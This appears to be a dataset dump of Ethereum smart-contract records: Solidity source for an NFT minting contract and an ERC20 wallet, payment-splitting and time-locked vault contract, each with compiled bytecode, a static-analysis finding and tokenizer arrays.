* - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/Sushihakr.sol // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. The developer will not be responsible or liable for all loss or damage whatsoever caused by you participating in any way in the experimental code, whether putting money into the contract or using the code for your own project. */ pragma solidity >=0.7.0 <0.9.0; contract Ninja_Mouse is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost = 0.063 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmountPerTx = 10; bool public paused = true; bool public revealed = false; constructor() ERC721("Ninja_Mouse", "SHNM") { setHiddenMetadataUri("ipfs://QmVdpgitQ8zHv9L5PKuWupEcZUm762mc6vpimnJkwFr8KG/hidden.json"); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { // ============================================================================= // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }
0x73971157e703a5210a393a1a3d3497fd9b3c725bf030146080604052600080fdfea26469706673582212208a0cd8db4566be667e76141422590adfc69933e89b2d133e54584b5d62368bc064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 14526, 28311, 2063, 19841, 2509, 2050, 25746, 10790, 2050, 23499, 2509, 27717, 2050, 29097, 22022, 2683, 2581, 2546, 2094, 2683, 2497, 2509, 2278, 2581, 17788, 29292, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 24094, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 24094, 1008, 1030, 3166, 4717, 25805, 2078, 1006, 1030, 23822, 1007, 1008, 1030, 16475, 3640, 24094, 2008, 2064, 2069, 2022, 4297, 28578, 14088, 1010, 11703, 28578, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,612
0x9711758aa54a7915ff7d5204beddb5a8e55a0217
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Erc20Wallet { mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether) event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); mapping (address => uint) public totalDeposited; function() public { revert(); } modifier onlyToken (address token) { require( token != 0); _; } function commonDeposit(address token, uint value) internal { tokens[token][msg.sender] += value; totalDeposited[token] += value; emit Deposit( token, msg.sender, value, tokens[token][msg.sender]); } function commonWithdraw(address token, uint value) internal { require (tokens[token][msg.sender] >= value); tokens[token][msg.sender] -= value; totalDeposited[token] -= value; require((token != 0)? ERC20(token).transfer(msg.sender, value): // solium-disable-next-line security/no-call-value msg.sender.call.value(value)() ); emit Withdraw( token, msg.sender, value, tokens[token][msg.sender]); } function deposit() public payable { commonDeposit(0, msg.value); } function withdraw(uint amount) public { commonWithdraw(0, amount); } function depositToken(address token, uint amount) public onlyToken(token){ //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf. require (ERC20(token).transferFrom(msg.sender, this, amount)); commonDeposit(token, amount); } function withdrawToken(address token, uint amount) public { commonWithdraw(token, amount); } function balanceOf(address token, address user) public constant returns (uint) { return tokens[token][user]; } } /** * @title SplitERC20Payment * @dev Base contract that supports multiple payees claiming funds sent to this contract * according to the proportion they own. */ contract SplitErc20Payment is Erc20Wallet{ using SafeMath for uint256; mapping (address => uint) public totalShares; mapping (address => uint) public totalReleased; mapping (address => mapping (address => uint)) public shares; //mapping of token addresses to mapping of account balances (token=0 means Ether) mapping (address => mapping (address => uint)) public released; //mapping of token addresses to mapping of account balances (token=0 means Ether) address[] public payees; function withdrawToken(address, uint) public{ revert(); } function withdraw(uint) public { revert(); } function computePayeeBalance (address token, address payer, uint value) internal { if (shares[token][payer] == 0) addPayee(token, payer, value); else addToPayeeBalance(token, payer, value); } function deposit() public payable{ super.deposit(); computePayeeBalance(0, msg.sender, msg.value); } function depositToken(address token, uint amount) public{ super.depositToken(token, amount); computePayeeBalance(token, msg.sender, amount); } function executeClaim(address token, address payee, uint payment) internal { require(payment != 0); require(totalDeposited[token] >= payment); released[token][payee] += payment; totalReleased[token] += payment; super.withdrawToken(token, payment); } function calculateMaximumPayment(address token, address payee)view internal returns(uint){ require(shares[token][payee] > 0); uint totalReceived = totalDeposited[token] + totalReleased[token]; return (totalReceived * shares[token][payee] / totalShares[token]) - released[token][payee]; } /** * @dev Claim your share of the balance. */ function claim(address token) public { executeClaim(token, msg.sender, calculateMaximumPayment(token, msg.sender)); } /** * @dev Claim part of your share of the balance. */ function partialClaim(address token, uint payment) public { uint maximumPayment = calculateMaximumPayment(token, msg.sender); require (payment <= maximumPayment); executeClaim(token, msg.sender, payment); } /** * @dev Add a new payee to the contract. * @param _payee The address of the payee to add. * @param _shares The number of shares owned by the payee. */ function addPayee(address token, address _payee, uint256 _shares) internal { require(_payee != address(0)); require(_shares > 0); require(shares[token][_payee] == 0); payees.push(_payee); shares[token][_payee] = _shares; totalShares[token] += _shares; } /** * @dev Add to payee balance * @param _payee The address of the payee to add. * @param _shares The number of shares to add to the payee. */ function addToPayeeBalance(address token, address _payee, uint256 _shares) internal { require(_payee != address(0)); require(_shares > 0); require(shares[token][_payee] > 0); shares[token][_payee] += _shares; totalShares[token] += _shares; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract InvestmentRecordList is Ownable{ event NoRecordFound(InvestmentRecord _investmentRecord); InvestmentRecord[] internal investmentRecords; function getInvestmentRecord (uint index) public view returns (InvestmentRecord){ return investmentRecords[index]; } function getInvestmentRecordListLength () public view returns (uint){ return investmentRecords.length; } function pushRecord (InvestmentRecord _investmentRecord) onlyOwner public{ investmentRecords.push(_investmentRecord); } function popRecord (InvestmentRecord _investmentRecord) onlyOwner public{ uint index; bool foundRecord; (index, foundRecord) = getIndex(_investmentRecord); if (! foundRecord){ emit NoRecordFound(_investmentRecord); revert(); } InvestmentRecord recordToDelete = investmentRecords[investmentRecords.length-1]; investmentRecords[index] = recordToDelete; delete recordToDelete; investmentRecords.length--; } function getIndex (InvestmentRecord _investmentRecord) public view returns (uint index, bool foundRecord){ foundRecord = false; for (index = 0; index < investmentRecords.length; index++){ if (investmentRecords[index] == _investmentRecord){ foundRecord = true; break; } } } } contract InvestmentRecord { using SafeMath for uint256; address public token; uint public timeStamp; uint public lockPeriod; uint public value; constructor (address _token, uint _timeStamp, uint _lockPeriod, uint _value) public{ token = _token; timeStamp = _timeStamp; lockPeriod = _lockPeriod; value = _value; } function expiredLockPeriod () public view returns (bool){ return now >= timeStamp + lockPeriod; } function getValue () public view returns (uint){ return value; } function getToken () public view returns (address){ return token; } } contract ERC20Vault is SplitErc20Payment{ using SafeMath for uint256; mapping (address => InvestmentRecordList) public pendingInvestments; function withdrawToken(address, uint) public { revert(); } function getLockedValue (address token) public returns (uint){ InvestmentRecordList investmentRecordList = pendingInvestments[msg.sender]; if (investmentRecordList == address(0x0)) return 0; uint lockedValue = 0; for(uint8 i = 0; i < investmentRecordList.getInvestmentRecordListLength(); i++){ InvestmentRecord investmentRecord = investmentRecordList.getInvestmentRecord(i); if (investmentRecord.getToken() == token){ if (investmentRecord.expiredLockPeriod()){ investmentRecordList.popRecord(investmentRecord); }else{ uint valueToAdd = investmentRecord.getValue(); lockedValue += valueToAdd; } } } return lockedValue; } function claim(address token) public{ uint lockedValue = getLockedValue(token); uint actualBalance = this.balanceOf(token, msg.sender); require(actualBalance > lockedValue); super.partialClaim(token, actualBalance - lockedValue); } function partialClaim(address token, uint payment) public{ uint lockedValue = getLockedValue(token); uint actualBalance = this.balanceOf(token, msg.sender); require(actualBalance - lockedValue >= payment); super.partialClaim(token, payment); } function depositTokenToVault(address token, uint amount, uint lockPeriod) public{ if (pendingInvestments[msg.sender] == address(0x0)){ pendingInvestments[msg.sender] = new InvestmentRecordList(); } super.depositToken(token, amount); pendingInvestments[msg.sender].pushRecord(new InvestmentRecord(token, now, lockPeriod, amount)); } }
0x6080604052600436106100d75763ffffffff60e060020a600035041663067a1e1681146100e95780631e83409a1461011c5780632e1a7d4d1461013f578063338b5dea14610157578063406072a91461017b578063508493bc146101a257806353055481146101c957806363037b0c146101ea5780637df446471461021e5780637f4a9691146102455780639e281a981461026c578063bf6b874e14610290578063cef4be3c146102b1578063d0e30db0146102d5578063d79779b2146102dd578063ee3d6557146102fe578063f7888aec1461031f575b3480156100e357600080fd5b50600080fd5b3480156100f557600080fd5b5061010a600160a060020a0360043516610346565b60408051918252519081900360200190f35b34801561012857600080fd5b5061013d600160a060020a0360043516610677565b005b34801561014b57600080fd5b5061013d600435610739565b34801561016357600080fd5b5061013d600160a060020a036004351660243561073e565b34801561018757600080fd5b5061010a600160a060020a0360043581169060243516610757565b3480156101ae57600080fd5b5061010a600160a060020a0360043581169060243516610774565b3480156101d557600080fd5b5061010a600160a060020a036004351661078e565b3480156101f657600080fd5b506102026004356107a0565b60408051600160a060020a039092168252519081900360200190f35b34801561022a57600080fd5b5061010a600160a060020a03600435811690602435166107c8565b34801561025157600080fd5b5061013d600160a060020a03600435166024356044356107e5565b34801561027857600080fd5b5061013d600160a060020a0360043516602435610739565b34801561029c57600080fd5b5061010a600160a060020a0360043516610945565b3480156102bd57600080fd5b5061013d600160a060020a0360043516602435610957565b61013d610a1b565b3480156102e957600080fd5b5061010a600160a060020a0360043516610a31565b34801561030a57600080fd5b50610202600160a060020a0360043516610a43565b34801561032b57600080fd5b5061010a600160a060020a0360043581169060243516610a5e565b33600090815260076020526040812054600160a060020a031681808080841515610373576000955061066d565b60009350600092505b84600160a060020a031663b7f379836040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156103ba57600080fd5b505af11580156103ce573d6000803e3d6000fd5b505050506040513d60208110156103e457600080fd5b505160ff841610156106695784600160a060020a0316630352017b846040518263ffffffff1660e060020a028152600401808260ff168152602001915050602060405180830381600087803b15801561043c57600080fd5b505af1158015610450573d6000803e3d6000fd5b505050506040513d602081101561046657600080fd5b5051604080517f21df0da70000000000000000000000000000000000000000000000000000000081529051919350600160a060020a03808a1692908516916321df0da79160048083019260209291908290030181600087803b1580156104cb57600080fd5b505af11580156104df573d6000803e3d6000fd5b505050506040513d60208110156104f557600080fd5b5051600160a060020a0316141561065e5781600160a060020a031663e5a3c7716040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561054457600080fd5b505af1158015610558573d6000803e3d6000fd5b505050506040513d602081101561056e57600080fd5b5051156105ed5784600160a060020a031663f4ac60de836040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050600060405180830381600087803b1580156105d057600080fd5b505af11580156105e4573d6000803e3d6000fd5b5050505061065e565b81600160a060020a031663209652556040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561062b57600080fd5b505af115801561063f573d6000803e3d6000fd5b505050506040513d602081101561065557600080fd5b50519384019390505b60019092019161037c565b8395505b5050505050919050565b60008061068383610346565b604080517ff7888aec000000000000000000000000000000000000000000000000000000008152600160a060020a03861660048201523360248201529051919350309163f7888aec916044808201926020929091908290030181600087803b1580156106ee57600080fd5b505af1158015610702573d6000803e3d6000fd5b505050506040513d602081101561071857600080fd5b5051905081811161072857600080fd5b61073483838303610a87565b505050565b600080fd5b6107488282610aad565b610753823383610b72565b5050565b600560209081526000928352604080842090915290825290205481565b600060208181529281526040808220909352908152205481565b60016020526000908152604090205481565b60068054829081106107ae57fe5b600091825260209091200154600160a060020a0316905081565b600460209081526000928352604080842090915290825290205481565b33600090815260076020526040902054600160a060020a031615156108645761080c611072565b604051809103906000f080158015610828573d6000803e3d6000fd5b50336000908152600760205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555b61086e838361073e565b33600090815260076020526040902054600160a060020a031663d701626e84428486610898611082565b600160a060020a039094168452602084019290925260408084019190915260608301919091525190819003608001906000f0801580156108dc573d6000803e3d6000fd5b506040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050600060405180830381600087803b15801561092857600080fd5b505af115801561093c573d6000803e3d6000fd5b50505050505050565b60026020526000908152604090205481565b60008061096384610346565b604080517ff7888aec000000000000000000000000000000000000000000000000000000008152600160a060020a03871660048201523360248201529051919350309163f7888aec916044808201926020929091908290030181600087803b1580156109ce57600080fd5b505af11580156109e2573d6000803e3d6000fd5b505050506040513d60208110156109f857600080fd5b50519050818103831115610a0b57600080fd5b610a158484610a87565b50505050565b610a23610bb9565b610a2f60003334610b72565b565b60036020526000908152604090205481565b600760205260009081526040902054600160a060020a031681565b600160a060020a0391821660009081526020818152604080832093909416825291909152205490565b6000610a938333610bc4565b905080821115610aa257600080fd5b610734833384610c68565b81600160a060020a0381161515610ac357600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018490529051600160a060020a038516916323b872dd9160648083019260209291908290030181600087803b158015610b3157600080fd5b505